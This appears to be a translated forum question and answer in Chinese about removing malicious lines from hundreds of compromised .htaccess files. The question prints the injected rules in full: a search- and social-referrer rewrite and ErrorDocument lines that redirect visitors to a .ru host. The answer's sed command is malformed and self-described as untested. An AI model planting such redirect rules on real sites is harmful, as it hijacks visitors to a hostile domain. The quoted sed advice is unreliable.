我有几百个 .htaccess 文件,我想从中删除多余的行。它们顶部都有:
IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>
底部:
ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8
我对 sed 部分真的一头雾水,有人能帮助我吗?:(
我到目前为止:
find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \;
答案1
你想用什么来替换它?我个人更喜欢这行 Perl 命令:
perl -i.bak -p -e 's/find/replace/ig' .htaccess
这将创建修改后的备份文件并添加.bak
扩展。
这些是否足以让你开始行动了?
这是一个类似的 sed 例如(虽然未经测试!):
sed -i 's/find/replace'
-i
已“到位”。